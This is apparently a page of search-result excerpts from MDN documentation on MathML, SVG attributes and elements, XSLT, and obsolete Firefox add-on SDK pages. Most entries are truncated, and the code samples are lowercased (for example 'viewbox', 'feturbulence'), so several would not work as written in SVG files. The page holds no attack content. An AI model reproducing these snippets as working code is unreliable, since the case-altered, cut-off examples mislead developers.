ange) <msub> (subscript) <msup> (superscript) <msubsup> (subscript-superscript pair) t <mtable> (table or matrix) <mtd> (cell in a table or a matrix) <mtext> (text) <mtr> (row in a table or a matrix) u <munder> (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <mu...
...nderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <semantics> ...
MathML
mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content.
... mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web pages web equation - turn handwritten equations into mathml or latex mathjax - cross-browser javascript display engine for mathematics.
baseFrequency - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value...
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> ...
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
unless explicitly described differently, lists within svg's xml attributes can be either comma-separated (with optional white space before or after the comma), or white space-separated.
... example <html> <body> <svg width="120" height="220" viewport="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg"> <style type="text/css" > <![cdata[ rect.rectclass { stroke: #000066; fill: #00cc00; } circle.circleclass { stroke: #006600; fill: #cc0000; } ]...
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cx="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cx="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> ...
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cy="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cy="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> ...
dominant-baseline - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on the text content elements, including: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } text { font: bold 14px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 200 120" xmlns="http://www.w3.org/2000/svg"> <path d="m20,20 l180,20 m20,50 l180,50 m20,80 l180,80" stroke="grey" /> <text dominant-baseline="baseline" x="30" y="20">baseline</text> <text dominant-baseline="middle" x="30" y="50">middle</text> <text dominant-baseline="hanging" x="30" y="80">hanging</text> </svg> usage notes value auto | text-bottom | alphabetic | ideographic |...
... example svg <svg width="400" height="300" viewbox="0 0 300 300" xmlns="http://www.w3.org/2000/svg"> <!-- materialization of anchors --> <path d="m60,20 l60,270 m30,20 l400,20 m30,70 l400,70 m30,120 l400,120 m30,170 l400,170 m30,220 l400,220 m30,270 l400,270" stroke="grey" /> <!-- anchors in action --> <text dominant-baseline="auto" x="70" y="20">auto</text> <text dominant-baseline...
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
seven elements are using this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as ...
... value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="25%" y2="25%" /> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="0" x2="100%" y1="75%" y2="75%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="30%" x2="30%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- behaviors change...
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
seven elements utilize this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="0" x2="100%" y1="30%" y2="30%" /> <line x1="0" x2="100%" y1="80%" y2="80%" /> <!-- some reference text --> <text x="10%" y="30%" fill="grey">svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: a...
... value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 150 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal lines --> <line x1="0" x2="100%" y1="30" y2="30" /> <line x1="0" x2="100%" y1="40" y2="40" /> <line x1="0" x2="100%" y1="50" y2="50" /> <line x1="0" x2="100%" y1="60" y2="60" /> <!-- vertical lines --> <line x1="10" x2="10" y1="0" y2="100%" /> <line x1="50" x2="50" y1="0" y2="100%" /> <line x1="90" x2="90" y1="0" y2="100%" /> <...
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple color fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradient)" /> <!-- kee...
... --> <circle cx="250" cy="50" r="20"> <animate attributetype="xml" attributename="r" from="0" to="40" dur="5s" fill="freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" f...
...ill="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value 0 animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r...
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="...
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="...
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... value <url> default value none animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image href="/files/2917/fxlogo.png" x="0" y="0" height="100" width="100"/> </svg> lineargradient for <lineargradient>, href defines url referring to a template gradient element; to be valid, the reference must be to a different <lineargradient> or <radialgradient> element.
in - SVG: Scalable Vector Graphics
WebSVGAttributein
html <div style="width: 420px; height: 220px;"> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="backgroundmultiply"> <!-- this will not work.
... --> <feblend in="backgroundimage" in2="sourcegraphic" mode="multiply"/> </filter> </defs> <image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundmultiply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemultiply"> <!-- this is a workaround.
numOctaves - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" widt...
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filt...
preserveAspectRatio - SVG: Scalable Vector Graphics
example <svg viewbox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"> <defs> <path id="smiley" d="m50,10 a40,40,1,1,1,50,90 a40,40,1,1,1,50,10 m30,40 q36,35,42,40 m58,40 q64,35,70,40 m30,60 q50,75,70,60 q50,75,30,60" /> </defs> <!-- (width>height) meet --> <svg preserveaspectratio="xmidymid meet" x="0" y="0" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xminym...
..."25"><use href="#smiley" /></svg> <svg preserveaspectratio="xmaxymid slice" x="150" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <!-- none --> <svg preserveaspectratio="none" x="0" y="30" viewbox="0 0 100 100" width="160" height="60"><use href="#smiley" /></svg> </svg> topexample html,body,svg { height:100% } <svg viewbox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"> <defs> <path id="smiley" d="m50,10 a40,40,1,1,1,50,90 a40,40,1,1,1,50,10 m30,40 q36,35,42,40 m58,40 q64,35,70,40 m30,60 q50,75,70,60 q50,75,30,60" /> </defs> <!-- (width>height) meet --> <rect x="0" y="0" width="20" height="10"> <title>xmidymid meet</title> </rect> <svg viewbox="0 0 100 100" width="20" height="10" preserveaspectratio="x...
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default valu...
...e 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
spreadMethod - SVG: Scalable Vector Graphics
examples of spreadmethod with linear gradients svg <svg width="220" height="150" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="padgradient" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="reflectgradient" spreadmethod="reflect" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop o...
... examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialpadgradient" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialreflectgradient" spreadmethod="reflect" ...
textLength - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textlength="6em">small text length</text> <text y="40" textlength="120%">big text length</text> </svg> usage notes value <length-percentage> | <number> default value none animatable yes <length-percentage> this value specifies the width of the space the text will be adjusted to occupy as absolute l...
... <svg width="10cm" height="3cm" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg"> <rect x="1" y="1" width="998" height="298" fill="none" stroke="green" stroke-width="2"/> <text id="hello" x="10" y="150" font-family="sans-serif" font-size="60" fill="green"> hello world!
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
it is often useful to refer to characters using xml character references expressed in hexadecimal notation or decimal notation.
... for example, unicode="ffl" could be expressed as xml character references in hexadecimal notation as unicode="&#x66;&#x66;&#x6c;" or in decimal notation as unicode="&#102;&#102;&#108;".
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for the r attribute: 4 resolved against 100 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" ...
...fill="white"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a small viewbox the circle looks large as it is using user units for the r attribute: 4 resolved against 10 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- the point of coordinate 0,0 is now in the center of the viewport, and 100% is still resolve to a width or height of 10 user units so the rectangle looks shifted to the bottom/right corner of the viewport --> <rect x="0" y="0" width="100%" height="10...
visibility - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <iframe>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" width="80" height="80" visibility="visible" /> <rect x="120" y="20" width="80" height="80" visibility="hidden"/> </g> </svg> usage notes value visible | hidd...
... html <button id="nav-toggle-button" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" class="button-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-al...
<feGaussianBlur> - SVG: Scalable Vector Graphics
example simple example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="blurme"> <fegaussianblur in="sourcegraphic" stddeviation="5" /> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample drop shadow example svg <svg width="120" height="120"...
... xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="dropshadow"> <fegaussianblur in="sourcealpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
<feMorphology> - SVG: Scalable Vector Graphics
examples filtering svg content svg <svg xmlns="http://www.w3.org/2000/svg" width="300" height="180"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helv...
...etica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
<foreignObject> - SVG: Scalable Vector Graphics
the <foreignobject> svg element includes elements from a different xml namespace.
... html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
the contents of <metadata> should be elements from other xml namespaces such as rdf, foaf, etc.
... example <svg width="400" viewbox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:description about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#computera"/> </rdf:description> <rdf:description about="#cableb"> <connect:ends rdf:resource...
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
note: the xmlns attribute is only required on the outermost svg element of svg documents.
... html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
... to get around this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of this solution at work see www.codedread.com.
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
ng an svg document is to look at htmliframeelement.contentdocument (if the document is presented in an <iframe>) or htmlobjectelement.contentdocument (if the document is presented in an <object> element), like this: var svgdoc = document.getelementbyid("iframe_element").contentdocument; in addition, the <iframe>, <embed>, and <object> elements offer a method, getsvgdocument(), which returns the xmldocument representing the element's embedded svg or null if the element doesn't represent an svg document.
...however, svg documents are now represented using the xmldocument interface instead.
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
this will set up the os to associate the .svg filename extension with the incorrect media type "image/svg-xml" instead of "image/svg+xml".
...change every occurance of "image/svg-xml" (or whatever the invalid media type is) to "image/svg+xml".
unparsed-entity-url - XPath
this is non-xml data referenced in the dtd of the source document.
...the name should be an xml name.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
mime types your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml.
... in firefox 6 and forward, you can also use the official xslt mimetype: application/xslt+xml.
Introduction - XSLT: Extensible Stylesheet Language Transformations
javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document.
... since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup.
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
setting parameters while running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file from javascript may be even more useful.
... for example, javascript and xslt could be used to sort xml data and then display it.
Content Scripts - Archive of obsolete content
in particular, they can't access content hosted in an iframe, if that content is served from a different domain, or make cross-domain xmlhttprequests.
context-menu - Archive of obsolete content
text/html for html pages, application/xhtml+xml for xhtml, or image/jpeg if viewing an image directly.
self - Archive of obsolete content
it is most useful for data that will be modified or parsed in some way, such as json, xml, plain text, or perhaps an html template.
core/promise - Archive of obsolete content
lets see the implementation of readasync that we used in several of the examples above: const { defer } = require('sdk/core/promise'); function readasync(url) { var deferred = defer(); let xhr = new xmlhttprequest(); xhr.open("get", url, true); xhr.onload = function() { deferred.resolve(xhr.responsetext); }; xhr.onerror = function(event) { deferred.reject(event); }; xhr.send(); return deferred.promise; } so defer returns an object that contains a promise and two resolve, reject functions that can be used to resolve / reject that promise.
Low-Level APIs - Archive of obsolete content
net/xhr provides access to xmlhttprequest functionality.
package.json - Archive of obsolete content
cross-domain-content: a list of domains for which content scripts are given cross-domain privileges to access content in iframes or to make xmlhttprequests.
Creating annotations - Archive of obsolete content
annotation editor html the html is very simple: <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style type="text/css" media="all"> body { font: 100% arial, helvetica, sans-serif; background-color: #f5f5f5; } textarea { width: 180px; height: 180px; margin: 10px; padding: 0px; } </style> </head> <body> <textarea rows='10' cols='20' id='annotation-box'> </textarea> </body...
Displaying annotations - Archive of obsolete content
annotation panel html <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style media="all" type="text/css"> body { font: 100% arial, helvetica, sans-serif; background-color: #f5f5f5; } div { text-align:left; } </style> </head> <body> <div id="annotation"> </div> </body> </html> save this in data/annotation as annotation.html.
Localization - Archive of obsolete content
ussian uses four forms, that can be described as follows: one → n mod 10 is 1 and n mod 100 is not 11; few → n mod 10 in 2..4 and n mod 100 not in 12..14; many → n mod 10 is 0 or n mod 10 in 5..9 or n mod 100 in 11..14; other → everything else plural rules for all languages can be found in the cldr language plural rules page (although this table is out of date compared to the cldr xml source).
Bootstrapped extensions - Archive of obsolete content
